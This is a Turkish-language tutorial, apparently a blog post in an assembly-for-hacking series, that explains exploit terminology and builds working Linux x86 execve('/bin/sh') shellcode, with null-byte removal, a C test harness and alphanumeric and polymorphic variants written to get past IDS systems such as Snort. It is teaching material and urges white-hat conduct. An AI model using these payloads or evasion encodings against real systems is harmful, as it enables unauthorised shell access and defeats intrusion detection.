Hacker'ın Olmazsa Olmazı Assembly #6 Badi Buyuldink

Serinin ilk 6 yazısında anlattığımız temel bilgiler yardımıyla hedef konumuz olan hack konusuna giriş yapıyoruz. Öncelikle mantığını anlatacağımız konumuzun bazı temel kavramlarına baktıktan sonra ilk inceleyeceğimiz kısım olan shellcode nedir,neyin nesidir ona değineceğiz diyor ve yazımızın başlıklarına geçiyoruz:

Hack <-> Hacker

Hepimizin az çok bilgi sahibi olduğu hack konusu,bir bilgisayarı (ya da belli özelliklere sahip cihazları, modem gibi) izinsiz ya da size izin verilen yetki seviyesinin üzerinde kontrol etme eylemidir.Bir websitesini gezinmenizde hiç bir sorun yokken,sitenin ana sayfasını ya da bazı sayfalarını bozup,kendi istediğiniz şeyleri yazmanız tipik bir hack olayıdır.Bu tür olaylara defacement yani bozma denir. Türkiye'de genç ve hevesli arkadaşların arasında index basma denilen bu olay ne hikmetse en çok merak edilen ve öğrenilmek istenilen konudur.[Çabuk ve kolay meşhur olmak istiyorlar da ondan]

Abidik gubidik mevzuları bu seride kesinlikle anlatmayacağımızı belirtip bir de hacker nedir onu tarif etmeye çalışalım. Aslında çok basit değil mi,bu işi yapanlara hacker denir.Malesef bu ünvanı kazanmak o kadar da basit değil.Eğer bir sistemi inceleyip ilginç (!) bir durumla karşılaşıp ne olduğunu anlamaya çalışıyor ve olaya vakıf olduktan sonra programın işleyişini istediğiniz gibi değiştirebiliyorsanız,o zaman hacker ünvanını alabilirsiniz.Olaya vakıf olmadan sadece başkalarının bulduğu zaafiyetler ve hazırladığı araçlarla bu işi yapan arkadaşlara script kiddie yani beleşçi diyoruz.

Hack literatürüne hakim olabilmek için diğer terimlere geçelim.Bir programın belirlenen işleyişini bozabilecek nitelikteki hatalara bug, bu hataları aramak için yapılan testlere fuzzing, bulduğumuz hataları kendi çıkarımıza kullanmak, yani sömürmek için yazdığımız programın tamamına (kod bütününe) exploit, sömürme sonrası yapmasını istediğimiz işlemleri programladığımız kısmına ise shellcode diyoruz.Bu arada bulduğunuz ve sömürebildiğiniz yazılım hatasını daha önce hiç kimse bulmamışsa,yani ilk bulan sizseniz,bulduğunuz bu zaafiyete 0 day [zero day] deniliyor.

Şimdi de gerçek bir hacker [piyasa çakma hacker kaynıyor da] neler yapıyor,sırasıyla bakalım. Önce hedef program belirlenir, testler yapılır, bug bulunur, son olarak exploit hazırlanır.Elinizde çalışan bir exploitiniz varsa ne yapacağınız size kalmış.Eğer white hat yani beyaz şapkalı yaniyani iyi niyetli bir hackersanız üretici firmayı bilgilendirir,belirli bir süre içinde güncelleme hazırlamasını bekler ve süre sonunda herkesle paylaşırsınız.Yok eğer black hat yani siyah şapkalı yaniyani art niyetli iseniz sistem emrinizde, ne isterseniz onu yapabilirsiniz, tabii sonuçlarına katlanmak şartıyla.Bir de gray hat yani gri şapkalı yaniyani işine gelince iyi,işine gelince art niyetli olan arkadaşlar var. [Şapka bol da takabilen pek yok]

En üstteki uyarıda belirttiğim üzere,buradaki herşey eğitim amaçlı paylaşıldığından ne yapacağınız size kalmış.Bu işlerden yasal sorunlar yaşamadan,helal para kazanmak isteyenler için de birçok fırsatlar mevcut.Mesela Samsung televizyonlarda bulacağınız bir zaafiyeti bildirdiğiniz için para kazanabilirsiniz. Detayları öğrenmek isteyenler bu adresi ziyaret edebilirler.

Siz siz olun,egonuzu tatmin etmek adına insanların nefretini kazanacağınıza, iyilerin safında yer alın, insanların sevgi ve saygısını kazanın.Zarar etmezsiniz!

Terimleri öğrendik de bu iş nasıl yapılıyor diye merak edenlere ilk anlatacağımız konu olan shellcode için bir sonraki başlığımıza geçelim.

Faydası Kabuğundadır

Birçok meyvenin faydası kabuğundadır derler.Bu faydalı kabuklara bizim yazacağımız shellcode'u da ekleyebiliriz.Çünkü bütün uğraşların tek neticesi shellcode içinde yazacağımız komutların çalışmasına bağlı.Genel olarak hedef, programdaki zaafiyeti sömürdükten sonra istediğiniz komutları yazabileceğiniz shell yani kabuk elde etmek.

Serinin başından beri Linux kullandığımız için shellcode olayında da düzeni bozmadan devam ediyoruz. Öncelikle shellcode nasıl oluşturuyoruz örneklendirip anlamaya çalışalım.Bir program yazalım ve tek yapacağı iş sh komutunu çalıştırmak olsun.Bir önceki yazımızda bahsetmiş olsak da,bu isteğimizi karşılayacak bazı fonksiyonlar var demiştik,system ve execve gibi.Şimdi execve ile sh komutunu çalıştıran bir program yazıp, disassemble yapıp inceleyelim.

man execve [Önce fonksiyon bizden neler istiyor bir bakalım]
...
SYNOPSIS
#include
int execve(const char *filename, char *const argv[],
char *const envp[]);
ka@ka-vm ~/shell $ cat unistd_32.h |grep execve
#define __NR_execve 11

Gerekli bilgileri topladıktan sonra hemen küçük bir assembly programı yazıp incelememize devam ediyoruz.Bu bilgiler elinizdeyken yine de programı yazamıyorsanız,sizi hemen serinin ikinci yazısı olan Unutulmayan İlklere gönderiyoruz,öğrenip devam ediyorsunuz.[Madem öğrenmicen magazin dedikoduları anlatmıyoruz burada kardeşim!]

ka@ka-vm ~/shell $ sh
$
ka@ka-vm ~/shell $ cat shell1.asm
section .text
global _start
_start:
mov eax, 11
mov ebx, dosya_adi
mov ecx, 0
mov edx, 0
int 0x80
mov eax,1
int 0x80
section .data
dosya_adi: db "/bin/sh"
ka@ka-vm ~/shell $ ./shell1
$

Programı yazdık,gayet güzel çalışıyor da bunun neresi shellcode anlayamadık diyenlere az sabır diyor ve incelemize devam ediyoruz.

ka@ka-vm ~/shell $ objdump -S shell1 -M intel
08048080 <_start>:
8048080: b8 0b 00 00 00 mov eax,0xb [Buradan ...]
8048085: bb a0 90 04 08 mov ebx,0x80490a0
804808a: b9 00 00 00 00 mov ecx,0x0
804808f: ba 00 00 00 00 mov edx,0x0
8048094: cd 80 int 0x80 [.....Buraya]
8048096: b8 01 00 00 00 mov eax,0x1
804809b: cd 80 int 0x80
[***Opcode***]

Objdump ile elde ettiğimiz opcodeların bizi ilgilendiren kısmını seçerek ilk shellcode'umuzu oluşturuyoruz. Henüz son halini almamış olsa da hazırladığımız shellcode çalışıyor mu diye kontrol etmek için basit bir C programı hazırlıyoruz.Objdump ile elde ettiğimiz opcode kısmını, başlarına \x ekleyerek (hex olduklarını belirtmek için) bir char array, karakter dizesi şeklinde hazırlayıp programdan bu kısmı çalıştırmasını isteyelim.

ka@ka-vm ~/shell $ cat test_shell1.c
#include
char shellcode[] = "\xb8\x0b\x00\x00\x00\xbb\xa0\x90\x04\x08\xb9\x00\x00\x00\x00"
"\xba\x00\x00\x00\x00\xcd\x80";
int main()
{
(*(void (*)()) shellcode)();
}
ka@ka-vm ~/shell $ gcc -fno-stack-protector -z execstack test_shell.c -o test1
ka@ka-vm ~/shell $ ./test1
Segmentation fault

Bazı hatalar sebebiyle shellcode malesef çalışmadı.Hem hataları tespit edelim,hem de shellcode yazarken nelere dikkat etmemiz gerekiyor açıklayalım. Zaafiyetler genelde programın kullanıcıdan bilgi girişi yaptığı bölümlerde ortaya çıkar.Girdiğiniz isim,adres,.. gibi veriler hafızada taşıma işlemine tabii tutulurken verinin bittiği,sondaki null byte (0x00) sayesinde anlaşılır.Eğer shellcode oluştururken başında,ortasında null byte varsa shellcode yarım kalacağı için hata mesajıyla karşılarsınız.

Execve fonksiyonu değerleri direk değil,pointer yani işaretçi olarak istiyor.Konunun anlaşılması için write fonksiyonundan bir örnek verelim.Ekrana mesaj yazdırmak için mov ebx,1 diyorduk.Yani direk bir değer ataması yapıyoruz.Fakat execve fonksiyonunda istenen değerlerin önünde gördüğümüz * işareti yüzünden verilerimizi işaret eden adreslere, yani pointerlara ihtiyacımız var.

Dikkat edilmesi gereken detaylara değindikten sonra şimdi de çalışan bir shellcode için değiştirmemiz gereken yerlere bakalım.Mesela mov ebx,0x080490a0 adresinde doğru bilgiler var mıydı?Yoktu çünkü assembly programında kullandığımız dosya_adi,shellcode içinde belirtilmeden direk adres ataması yapılmıştı. Bunun yanı sıra strong>mov eax,0x0b satırında 32 bit atama yaptığımız için 0xb haricinde kalan bölümlere null byte [0x00] eklendiğini görüyoruz.Bunlardan da kurtulmak zorunda olduğumuza göre şimdi düzeltilmiş haline bir bakalım.

ka@ka-vm ~/shell $ cat shell2.asm
section .text
global _start
_start:
[!] xor eax, eax [eax sıfırlansın]
push eax [stack çöplüğüne]
push 0x68732f6e [hs/n ..]
push 0x69622f2f [ib// ..]
mov ebx, esp
push eax
mov ecx, esp
mov edx, esp
mov al, 11 [execve syscall 11]
[!] int 0x80
mov eax,1
int 0x80
ka@ka-vm ~/shell $ objdump -S shell2 -M intel
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 50 push eax
8048063: 68 6e 2f 73 68 push 0x68732f6e
8048068: 68 2f 2f 62 69 push 0x69622f2f
804806d: 89 e3 mov ebx,esp
804806f: 50 push eax
8048070: 89 e1 mov ecx,esp
8048072: 89 e2 mov edx,esp
8048074: b0 0b mov al,0xb
8048076: cd 80 int 0x80
ka@ka-vm ~/shell $ cat test_shell2.c
#include
char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
int main()
{
(*(void (*)()) shellcode)();
}
ka@ka-vm ~/shell $ gcc -fno-stack-protector -z execstack test_shell2.c -o test2
ka@ka-vm ~/shell $ ./test2
$

Detaylarını ilerleyen bölümlerde verecek olsak da dikkat ederseniz gcc ile programı derlerken belirttiğimiz iki tane seçenek var. Mevcut kernellerde bazı korumalar yüzünden -fno-stack-protector ve -z execstack seçenekleri olmadan stack çöplüğünde bulunan kodları çalıştıramaz,Segmentation Fault hatası alırsınız.

Badi Buyuldink

Shellcode kardeşimiz niye geliştirilmeye ihtiyaç duymuş, onu anlatarak konumuza başlayalım.Zaman içerisinde saldıran taraf azıtınca savunan taraf bazı önlemler almaya niyetlenmiş.Demişler ki madem bu işin faydası kabuğunda, biz de IDS yani Intrusion Detection System, yaniyani izinsiz giriş algılama sistemi diye birşey icat edelim,sistemlerimizde shellcode aktivitesi algılar algılamaz bas bas bağırsın, ve nitekim Snort gibi koruma amaçlı programlar hazırlamışlar.[Söylemiştim tipik bir kedi fare oyunu!]

Olay basit,bazı yöntemlerle (detaya girmicem ama merak edenler için başlıkları vereyim, data mining ve spectrum analysis) veri trafiğini kontrol edip, mesela Linux bir sistemde /bin/sh gördün mü, çek bi el-ense yatır yere demişler.Sen misin bize el-ense çeken demiş heykır arkadaşlar ve bizim gariban shellcode'un başına bakın neler gelmiş.

Bundan tam 12 (oniki) sene evvel, şaka yapmıyorum, rix isminde bir yağlıgüreşiseveramasadeceizler arkadaş, bunların snortu varsa, kafayı takanın da alphanumeric shellcode'u var diyerek yukarıda basitçe (!) hazırladığımız shellcode'u almış evirmiş çevirmiş ve karşınızda:

rix@debian:~/phrack$ ./asc -c shellcode -f c -o alpha.c p49-14
Reading p49-14 ... (61 bytes)
Shellcode (390 bytes):
LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDSRajYX0Dka0TkafhN9fYf1Lkb0TkdjfY \
0Lkf0Tkgfh6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1Dks0tkwjfX0Dkx0tkx0tky \
CjnY0LkzC0TkzCCjtX0DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0tkzChpfcMX1Dk \
zCCCC0tkzCh4pCnY1Lkz1TkzCCCCfhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjdX0Dk \
zC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tkzMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG \
3IDpfcM2KgmnJGgbinYshdvD9d

Hangi aşamalardan geçip shellcode bu hale geliyor,neler yapılıyor kısmına girmeye niyetim yok.Neden yok çünkü ayrı bir makale hazırlamak gerekir de ondan. Ama ben meraktan çatlarım diyenler için kaynakları yazının sonunda paylaştım,isteyen okuyabilir [Malesef ingilizce].Bu teknik sayesinde IDSler zıçanzi olmaya başlayınca tabii ki önlemler alınmış amma velakin cümbür cemaatin daha aradan iki sene geçmeden bu sefer de superbus isminde magirushayranı bir arkadaş polymorphic shellcode fikriyle heykırnobelödülünü kazanmış.Bu sefer bizim gariban ne hale gelmiş bakalım:

ka@ka-vm ~/xxx/clet.v1.0.0-sid/src $ ./essai.sh
...
--------------------
00000000 EB36 jmp short 0x38
00000002 58 pop eax
00000003 31D2 xor edx,edx
00000005 B220 mov dl,0x20
00000007 8B18 mov ebx,[eax]
00000009 81F3EBA642A1 xor ebx,0xa142a6eb
0000000F 81EB060D81B1 sub ebx,0xb1810d06
00000015 81EB1AE1AB39 sub ebx,0x39abe11a
0000001B 81EBF7AB57BD sub ebx,0xbd57abf7
00000021 81C3A46D66FE add ebx,0xfe666da4
00000027 8918 mov [eax],ebx
00000029 2DFEFFFFFF sub eax,0xfffffffe
0000002E 40 inc eax
0000002F 40 inc eax
00000030 80EA03 sub dl,0x3
00000033 4A dec edx
00000034 7407 jz 0x3d
00000036 EBCF jmp short 0x7
00000038 E8C5FFFFFF call dword 0x2
0000003D 3632C4 ss xor al,ah
00000040 783E js 0x80
00000042 2BD3 sub edx,ebx
00000044 B349 mov bl,0x49
00000046 28C5 sub ch,al
00000048 B917A912DD mov ecx,0xdd12a917
0000004D 2ED9E5 cs fxam
00000050 2A36 sub dh,[esi]
00000052 91 xchg eax,ecx
00000053 34D6 xor al,0xd6
00000055 18FB sbb bl,bh
00000057 BB7AD8CBA9 mov ebx,0xa9cbd87a
0000005C 8B db 0x8b

İkibinüç senesinden beri kullanılan bu yöntem halen geçerliliğini korumakta olup, kanıtın nerede diyenler için, haziran ayında düzenlenecek olan Nopcon konferansının en yahşi hatunu Svetlana Gaivoronski ablamızın sunum konusunu gösterebiliriz.

Bu konferansı sakın kaçırmayın diyor ve bir sonraki başlığa jmp *eax diyorum.

Kopya Çekmek Var

Hangi seviyede kalmayı tercih edersiniz bilemem ama elle tutulur birşeyler yapmak istiyorsanız anlattığımız konuları sadece okuyup geçmeyin, deneyin, hata yapın, anlamaya çalışın ki harcadığınız vaktin sonunda bilgi namına birşeyler elde etmiş olun.O birşeylerden birazcık öğrendiğinizi varsayarak,şimdi de nerelerden kopya çekebiliyoruz bir bakalım.Öncelikle hack konusunda kankamız olan peda'ya bir bakalım.

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

Madem hazırı var niye kasıyoruz o kadar diyen arkadaşlar,herşeyden önce script kiddie kafasından bir çıkalım hep beraber.İnanın hiçbir şeye yaramıyor,tecrübeyle sabittir.Sonracıma herkesin kullanabildiği araçların sunduğu bütün nimetler için direk önlemler alınır.Yaniii bu örnekte verilen shellcode yerine kendi hazırlayacağınız birazcık değiştirilmiş shellcode'u kullanmanız sizi 1-0 önde başlatır.[Fener de böyle gitmişti Portekize ya neyse]

Peki farklı amaçlar için shellcode ihtiyacımız olursa ne yapacağız.Tabii ki kendimiz yazarız da ben yine de bir kaç adres paylaşayım sizinle.Denemeler yapmak isteyenleriniz çıkabilir.[çıkar di mi?]

Gördüğünüz gibi binlerce shellcode var,ne uğraşacan hazırı varken amannnn! Aslında uyarıyı bizzat kendim yapacaktım ama Mert Sarıca güzel bir yazı yazmış, bizim bu hazırıseveruğraşmayahiçgelemez arkadaşlar hakkında.İbretlik olsun okuyun da,böyle şeyler sizin başınıza gelmesin.Hele bu yazıyı okuduktan sonra, katiyen duymamış olayım!

Bu yazıyla ilk konumuz olan shellcode olayını kavradığımızı varsayarak, sizi yazı için hazırlanan video ile başbaşa bırakıyorum.Bir sonraki yazımızda fuzzing konusunu inceleyerek hack konumuza devam ediyoruz.

Oynatalım Uğurcum

Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.

Alphanumeric shellcode konusuyla alaklı olan makaleyi bu adreste bulabilirsiniz.

Polymorphic shellcode konusuyla alakalı olan makaleyi de bu adreste bulabilirsiniz.